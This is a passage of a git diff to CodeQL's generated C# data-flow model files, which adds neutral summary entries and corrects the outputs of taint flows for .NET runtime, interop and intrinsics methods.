["System.Runtime.CompilerServices", "AsyncIteratorMethodBuilder", "Create", "()", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncIteratorMethodBuilder", "MoveNext", "(TStateMachine)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncIteratorStateMachineAttribute", "AsyncIteratorStateMachineAttribute", "(System.Type)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncMethodBuilderAttribute", "AsyncMethodBuilderAttribute", "(System.Type)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncMethodBuilderAttribute", "get_BuilderType", "()", "summary", "df-generated"] @@ -127,21 +93,28 @@ extensions: - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", "SetException", "(System.Exception)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", "SetResult", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", "SetStateMachine", "(System.Runtime.CompilerServices.IAsyncStateMachine)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", "Start", "(TStateMachine)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", "Create", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", "SetException", "(System.Exception)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", "SetStateMachine", "(System.Runtime.CompilerServices.IAsyncStateMachine)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", "Start", "(TStateMachine)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", "Create", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", "SetException", "(System.Exception)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", "SetResult", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", "SetStateMachine", "(System.Runtime.CompilerServices.IAsyncStateMachine)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", "Start", "(TStateMachine)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", "get_Task", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", "Create", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", "SetException", "(System.Exception)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", "SetStateMachine", "(System.Runtime.CompilerServices.IAsyncStateMachine)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", "Start", "(TStateMachine)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", "Create", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", "SetException", "(System.Exception)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", "SetResult", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", "SetStateMachine", "(System.Runtime.CompilerServices.IAsyncStateMachine)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", "Start", "(TStateMachine)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "CallSite", "Create", "(System.Type,System.Runtime.CompilerServices.CallSiteBinder)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "CallSite", "Create", "(System.Runtime.CompilerServices.CallSiteBinder)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "CallSite", "get_Update", "()", "summary", "df-generated"] @@ -257,10 +230,12 @@ extensions: - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", "SetException", "(System.Exception)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", "SetResult", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", "SetStateMachine", "(System.Runtime.CompilerServices.IAsyncStateMachine)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", "Start", "(TStateMachine)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", "get_Task", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", "Create", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", "SetException", "(System.Exception)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", "SetStateMachine", "(System.Runtime.CompilerServices.IAsyncStateMachine)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", "Start", "(TStateMachine)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "ReadOnlyCollectionBuilder", "Contains", "(System.Object)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "ReadOnlyCollectionBuilder", "Contains", "(T)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "ReadOnlyCollectionBuilder", "IndexOf", "(System.Object)", "summary", "df-generated"] @@ -331,7 +306,11 @@ extensions: - ["System.Runtime.CompilerServices", "TypeForwardedToAttribute", "TypeForwardedToAttribute", "(System.Type)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "TypeForwardedToAttribute", "get_Destination", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "Add", "(System.Void*,System.Int32)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "Unsafe", "Add", "(T,System.Int32)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "Unsafe", "Add", "(T,System.IntPtr)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "Unsafe", "Add", "(T,System.UIntPtr)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "AddByteOffset", "(T,System.IntPtr)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "Unsafe", "AddByteOffset", "(T,System.UIntPtr)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "AreSame", "(T,T)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "As", "(System.Object)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "As", "(TFrom)", "summary", "df-generated"] @@ -341,6 +320,7 @@ extensions: - ["System.Runtime.CompilerServices", "Unsafe", "BitCast", "(TFrom)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "ByteOffset", "(T,T)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "Copy", "(System.Void*,T)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "Unsafe", "Copy", "(T,System.Void*)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "CopyBlock", "(System.Byte,System.Byte,System.UInt32)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "CopyBlock", "(System.Void*,System.Void*,System.UInt32)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "CopyBlockUnaligned", "(System.Byte,System.Byte,System.UInt32)", "summary", "df-generated"] @@ -359,7 +339,11 @@ extensions: - ["System.Runtime.CompilerServices", "Unsafe", "SizeOf", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "SkipInit", "(T)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "Subtract", "(System.Void*,System.Int32)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "Unsafe", "Subtract", "(T,System.Int32)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "Unsafe", "Subtract", "(T,System.IntPtr)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "Unsafe", "Subtract", "(T,System.UIntPtr)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "SubtractByteOffset", "(T,System.IntPtr)", "summary", "df-generated"] + - ["System.Runtime.CompilerServices", "Unsafe", "SubtractByteOffset", "(T,System.UIntPtr)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "Unbox", "(System.Object)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "Write", "(System.Void*,T)", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "Unsafe", "WriteUnaligned", "(System.Byte,T)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Runtime.InteropServices.Marshalling.model.yml b/csharp/ql/lib/ext/generated/System.Runtime.InteropServices.Marshalling.model.yml index ca567ebf807..a7e0837e1f5 100644 --- a/csharp/ql/lib/ext/generated/System.Runtime.InteropServices.Marshalling.model.yml +++ b/csharp/ql/lib/ext/generated/System.Runtime.InteropServices.Marshalling.model.yml @@ -42,8 +42,8 @@ extensions: - ["System.Runtime.InteropServices.Marshalling", "SpanMarshaller+ManagedToUnmanagedIn", False, "GetUnmanagedValuesDestination", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.InteropServices.Marshalling", "SpanMarshaller", False, "GetManagedValuesDestination", "(System.Span)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.InteropServices.Marshalling", "Utf8StringMarshaller+ManagedToUnmanagedIn", False, "ToUnmanaged", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Runtime.InteropServices.Marshalling", "VirtualMethodTableInfo", False, "Deconstruct", "(System.Void*,System.Void**)", "", "Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.ThisPointer]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.InteropServices.Marshalling", "VirtualMethodTableInfo", False, "Deconstruct", "(System.Void*,System.Void**)", "", "Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.VirtualMethodTable]", "ReturnValue", "value", "dfc-generated"] + - ["System.Runtime.InteropServices.Marshalling", "VirtualMethodTableInfo", False, "Deconstruct", "(System.Void*,System.Void**)", "", "Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.ThisPointer]", "Argument[0]", "value", "dfc-generated"] + - ["System.Runtime.InteropServices.Marshalling", "VirtualMethodTableInfo", False, "Deconstruct", "(System.Void*,System.Void**)", "", "Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.VirtualMethodTable]", "Argument[1]", "value", "dfc-generated"] - ["System.Runtime.InteropServices.Marshalling", "VirtualMethodTableInfo", False, "VirtualMethodTableInfo", "(System.Void*,System.Void**)", "", "Argument[0]", "Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.ThisPointer]", "value", "dfc-generated"] - ["System.Runtime.InteropServices.Marshalling", "VirtualMethodTableInfo", False, "VirtualMethodTableInfo", "(System.Void*,System.Void**)", "", "Argument[1]", "Argument[this].Property[System.Runtime.InteropServices.Marshalling.VirtualMethodTableInfo.VirtualMethodTable]", "value", "dfc-generated"] - addsTo: diff --git a/csharp/ql/lib/ext/generated/System.Runtime.InteropServices.model.yml b/csharp/ql/lib/ext/generated/System.Runtime.InteropServices.model.yml index 8c1b8232a5c..0e97a54b32b 100644 --- a/csharp/ql/lib/ext/generated/System.Runtime.InteropServices.model.yml +++ b/csharp/ql/lib/ext/generated/System.Runtime.InteropServices.model.yml @@ -29,11 +29,10 @@ extensions: - ["System.Runtime.InteropServices", "ManagedToNativeComInteropStubAttribute", False, "ManagedToNativeComInteropStubAttribute", "(System.Type,System.String)", "", "Argument[1]", "Argument[this].Property[System.Runtime.InteropServices.ManagedToNativeComInteropStubAttribute.MethodName]", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "Marshal", False, "InitHandle", "(System.Runtime.InteropServices.SafeHandle,System.IntPtr)", "", "Argument[1]", "Argument[0].Field[System.Runtime.InteropServices.SafeHandle.handle]", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "MemoryMarshal", False, "CreateFromPinnedArray", "(T[],System.Int32,System.Int32)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Runtime.InteropServices", "MemoryMarshal", False, "CreateSpan", "(T,System.Int32)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "MemoryMarshal", False, "ToEnumerable", "(System.ReadOnlyMemory)", "", "Argument[0].Property[System.ReadOnlyMemory`1.Span].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Runtime.InteropServices", "MemoryMarshal", False, "TryGetMemoryManager", "(System.ReadOnlyMemory,TManager)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Runtime.InteropServices", "MemoryMarshal", False, "TryGetMemoryManager", "(System.ReadOnlyMemory,TManager,System.Int32,System.Int32)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Runtime.InteropServices", "MemoryMarshal", False, "TryGetString", "(System.ReadOnlyMemory,System.String,System.Int32,System.Int32)", "", "Argument[0].SyntheticField[System.ReadOnlyMemory`1._object]", "ReturnValue", "value", "dfc-generated"] + - ["System.Runtime.InteropServices", "MemoryMarshal", False, "TryGetMemoryManager", "(System.ReadOnlyMemory,TManager)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] + - ["System.Runtime.InteropServices", "MemoryMarshal", False, "TryGetMemoryManager", "(System.ReadOnlyMemory,TManager,System.Int32,System.Int32)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] + - ["System.Runtime.InteropServices", "MemoryMarshal", False, "TryGetString", "(System.ReadOnlyMemory,System.String,System.Int32,System.Int32)", "", "Argument[0].SyntheticField[System.ReadOnlyMemory`1._object]", "Argument[1]", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "NFloat", False, "ConvertToInteger", "(System.Runtime.InteropServices.NFloat)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "NFloat", False, "ConvertToIntegerNative", "(System.Runtime.InteropServices.NFloat)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "NFloat", False, "CreateChecked", "(TOther)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -43,13 +42,12 @@ extensions: - ["System.Runtime.InteropServices", "NFloat", False, "op_UnaryPlus", "(System.Runtime.InteropServices.NFloat)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "OSPlatform", False, "Create", "(System.String)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Runtime.InteropServices.OSPlatform.Name]", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "OSPlatform", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Runtime.InteropServices.OSPlatform.Name]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.InteropServices", "SafeBuffer", False, "AcquirePointer", "(System.Byte*)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "SafeHandle", False, "DangerousGetHandle", "()", "", "Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "SafeHandle", False, "SafeHandle", "(System.IntPtr,System.Boolean)", "", "Argument[0]", "Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle]", "value", "dfc-generated"] - ["System.Runtime.InteropServices", "SafeHandle", False, "SetHandle", "(System.IntPtr)", "", "Argument[0]", "Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle]", "value", "dfc-generated"] - - ["System.Runtime.InteropServices", "SequenceMarshal", False, "TryGetReadOnlyMemory", "(System.Buffers.ReadOnlySequence,System.ReadOnlyMemory)", "", "Argument[0].Property[System.Buffers.ReadOnlySequence`1.First]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.InteropServices", "SequenceMarshal", False, "TryGetReadOnlySequenceSegment", "(System.Buffers.ReadOnlySequence,System.Buffers.ReadOnlySequenceSegment,System.Int32,System.Buffers.ReadOnlySequenceSegment,System.Int32)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Runtime.InteropServices", "SequenceMarshal", False, "TryRead", "(System.Buffers.SequenceReader,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["System.Runtime.InteropServices", "SequenceMarshal", False, "TryGetReadOnlyMemory", "(System.Buffers.ReadOnlySequence,System.ReadOnlyMemory)", "", "Argument[0].Property[System.Buffers.ReadOnlySequence`1.First]", "Argument[1]", "value", "dfc-generated"] + - ["System.Runtime.InteropServices", "SequenceMarshal", False, "TryGetReadOnlySequenceSegment", "(System.Buffers.ReadOnlySequence,System.Buffers.ReadOnlySequenceSegment,System.Int32,System.Buffers.ReadOnlySequenceSegment,System.Int32)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] + - ["System.Runtime.InteropServices", "SequenceMarshal", False, "TryGetReadOnlySequenceSegment", "(System.Buffers.ReadOnlySequence,System.Buffers.ReadOnlySequenceSegment,System.Int32,System.Buffers.ReadOnlySequenceSegment,System.Int32)", "", "Argument[0]", "Argument[3]", "taint", "df-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel @@ -390,6 +388,7 @@ extensions: - ["System.Runtime.InteropServices", "MemoryMarshal", "CreateReadOnlySpan", "(T,System.Int32)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "MemoryMarshal", "CreateReadOnlySpanFromNullTerminated", "(System.Byte*)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "MemoryMarshal", "CreateReadOnlySpanFromNullTerminated", "(System.Char*)", "summary", "df-generated"] + - ["System.Runtime.InteropServices", "MemoryMarshal", "CreateSpan", "(T,System.Int32)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "MemoryMarshal", "GetArrayDataReference", "(System.Array)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "MemoryMarshal", "GetArrayDataReference", "(T[])", "summary", "df-generated"] - ["System.Runtime.InteropServices", "MemoryMarshal", "GetReference", "(System.ReadOnlySpan)", "summary", "df-generated"] @@ -637,6 +636,7 @@ extensions: - ["System.Runtime.InteropServices", "SafeArrayTypeMismatchException", "SafeArrayTypeMismatchException", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "SafeArrayTypeMismatchException", "SafeArrayTypeMismatchException", "(System.String)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "SafeArrayTypeMismatchException", "SafeArrayTypeMismatchException", "(System.String,System.Exception)", "summary", "df-generated"] + - ["System.Runtime.InteropServices", "SafeBuffer", "AcquirePointer", "(System.Byte*)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "SafeBuffer", "Initialize", "(System.UInt32,System.UInt32)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "SafeBuffer", "Initialize", "(System.UInt64)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "SafeBuffer", "Initialize", "(System.UInt32)", "summary", "df-generated"] @@ -659,6 +659,7 @@ extensions: - ["System.Runtime.InteropServices", "SafeHandle", "get_IsClosed", "()", "summary", "df-generated"] - ["System.Runtime.InteropServices", "SafeHandle", "get_IsInvalid", "()", "summary", "df-generated"] - ["System.Runtime.InteropServices", "SequenceMarshal", "TryGetArray", "(System.Buffers.ReadOnlySequence,System.ArraySegment)", "summary", "df-generated"] + - ["System.Runtime.InteropServices", "SequenceMarshal", "TryRead", "(System.Buffers.SequenceReader,T)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "StructLayoutAttribute", "StructLayoutAttribute", "(System.Int16)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "StructLayoutAttribute", "StructLayoutAttribute", "(System.Runtime.InteropServices.LayoutKind)", "summary", "df-generated"] - ["System.Runtime.InteropServices", "StructLayoutAttribute", "get_Value", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Runtime.Intrinsics.model.yml b/csharp/ql/lib/ext/generated/System.Runtime.Intrinsics.model.yml index c5f3e8f56ed..fb03afbfe19 100644 --- a/csharp/ql/lib/ext/generated/System.Runtime.Intrinsics.model.yml +++ b/csharp/ql/lib/ext/generated/System.Runtime.Intrinsics.model.yml @@ -16,7 +16,6 @@ extensions: - ["System.Runtime.Intrinsics", "Vector128", False, "Round", "(System.Runtime.Intrinsics.Vector128,System.MidpointRounding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector128", False, "Round", "(System.Runtime.Intrinsics.Vector128)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector128", False, "Round", "(System.Runtime.Intrinsics.Vector128,System.MidpointRounding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.Intrinsics", "Vector128", False, "StoreUnsafe", "(System.Runtime.Intrinsics.Vector128,T)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector128", False, "Truncate", "(System.Runtime.Intrinsics.Vector128)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector128", False, "Truncate", "(System.Runtime.Intrinsics.Vector128)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector128", False, "WithElement", "(System.Runtime.Intrinsics.Vector128,System.Int32,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -35,7 +34,6 @@ extensions: - ["System.Runtime.Intrinsics", "Vector256", False, "Round", "(System.Runtime.Intrinsics.Vector256,System.MidpointRounding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector256", False, "Round", "(System.Runtime.Intrinsics.Vector256)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector256", False, "Round", "(System.Runtime.Intrinsics.Vector256,System.MidpointRounding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.Intrinsics", "Vector256", False, "StoreUnsafe", "(System.Runtime.Intrinsics.Vector256,T)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector256", False, "Truncate", "(System.Runtime.Intrinsics.Vector256)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector256", False, "Truncate", "(System.Runtime.Intrinsics.Vector256)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector256", False, "WithElement", "(System.Runtime.Intrinsics.Vector256,System.Int32,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -54,7 +52,6 @@ extensions: - ["System.Runtime.Intrinsics", "Vector512", False, "Round", "(System.Runtime.Intrinsics.Vector512,System.MidpointRounding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector512", False, "Round", "(System.Runtime.Intrinsics.Vector512)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector512", False, "Round", "(System.Runtime.Intrinsics.Vector512,System.MidpointRounding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.Intrinsics", "Vector512", False, "StoreUnsafe", "(System.Runtime.Intrinsics.Vector512,T)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector512", False, "Truncate", "(System.Runtime.Intrinsics.Vector512)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector512", False, "Truncate", "(System.Runtime.Intrinsics.Vector512)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector512", False, "WithElement", "(System.Runtime.Intrinsics.Vector512,System.Int32,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -71,7 +68,6 @@ extensions: - ["System.Runtime.Intrinsics", "Vector64", False, "Round", "(System.Runtime.Intrinsics.Vector64,System.MidpointRounding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector64", False, "Round", "(System.Runtime.Intrinsics.Vector64)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector64", False, "Round", "(System.Runtime.Intrinsics.Vector64,System.MidpointRounding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.Intrinsics", "Vector64", False, "StoreUnsafe", "(System.Runtime.Intrinsics.Vector64,T)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector64", False, "Truncate", "(System.Runtime.Intrinsics.Vector64)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector64", False, "Truncate", "(System.Runtime.Intrinsics.Vector64)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.Intrinsics", "Vector64", False, "WithElement", "(System.Runtime.Intrinsics.Vector64,System.Int32,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -327,6 +323,7 @@ extensions: - ["System.Runtime.Intrinsics", "Vector128", "Store", "(System.Runtime.Intrinsics.Vector128,T*)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector128", "StoreAligned", "(System.Runtime.Intrinsics.Vector128,T*)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector128", "StoreAlignedNonTemporal", "(System.Runtime.Intrinsics.Vector128,T*)", "summary", "df-generated"] + - ["System.Runtime.Intrinsics", "Vector128", "StoreUnsafe", "(System.Runtime.Intrinsics.Vector128,T)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector128", "StoreUnsafe", "(System.Runtime.Intrinsics.Vector128,T,System.UIntPtr)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector128", "Subtract", "(System.Runtime.Intrinsics.Vector128,System.Runtime.Intrinsics.Vector128)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector128", "Sum", "(System.Runtime.Intrinsics.Vector128)", "summary", "df-generated"] @@ -625,6 +622,7 @@ extensions: - ["System.Runtime.Intrinsics", "Vector256", "Store", "(System.Runtime.Intrinsics.Vector256,T*)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector256", "StoreAligned", "(System.Runtime.Intrinsics.Vector256,T*)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector256", "StoreAlignedNonTemporal", "(System.Runtime.Intrinsics.Vector256,T*)", "summary", "df-generated"] + - ["System.Runtime.Intrinsics", "Vector256", "StoreUnsafe", "(System.Runtime.Intrinsics.Vector256,T)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector256", "StoreUnsafe", "(System.Runtime.Intrinsics.Vector256,T,System.UIntPtr)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector256", "Subtract", "(System.Runtime.Intrinsics.Vector256,System.Runtime.Intrinsics.Vector256)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector256", "Sum", "(System.Runtime.Intrinsics.Vector256)", "summary", "df-generated"] @@ -924,6 +922,7 @@ extensions: - ["System.Runtime.Intrinsics", "Vector512", "Store", "(System.Runtime.Intrinsics.Vector512,T*)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector512", "StoreAligned", "(System.Runtime.Intrinsics.Vector512,T*)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector512", "StoreAlignedNonTemporal", "(System.Runtime.Intrinsics.Vector512,T*)", "summary", "df-generated"] + - ["System.Runtime.Intrinsics", "Vector512", "StoreUnsafe", "(System.Runtime.Intrinsics.Vector512,T)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector512", "StoreUnsafe", "(System.Runtime.Intrinsics.Vector512,T,System.UIntPtr)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector512", "Subtract", "(System.Runtime.Intrinsics.Vector512,System.Runtime.Intrinsics.Vector512)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector512", "Sum", "(System.Runtime.Intrinsics.Vector512)", "summary", "df-generated"] @@ -1197,6 +1196,7 @@ extensions: - ["System.Runtime.Intrinsics", "Vector64", "Store", "(System.Runtime.Intrinsics.Vector64,T*)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector64", "StoreAligned", "(System.Runtime.Intrinsics.Vector64,T*)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector64", "StoreAlignedNonTemporal", "(System.Runtime.Intrinsics.Vector64,T*)", "summary", "df-generated"] + - ["System.Runtime.Intrinsics", "Vector64", "StoreUnsafe", "(System.Runtime.Intrinsics.Vector64,T)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector64", "StoreUnsafe", "(System.Runtime.Intrinsics.Vector64,T,System.UIntPtr)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", "Vector64", "Subtract", "(System.Runtime.Intrinsics.Vector64,System.Runtime.Intrinsics.Vector64)", "summary", "df-generated"] - ["System.Runtime.Intrinsics", 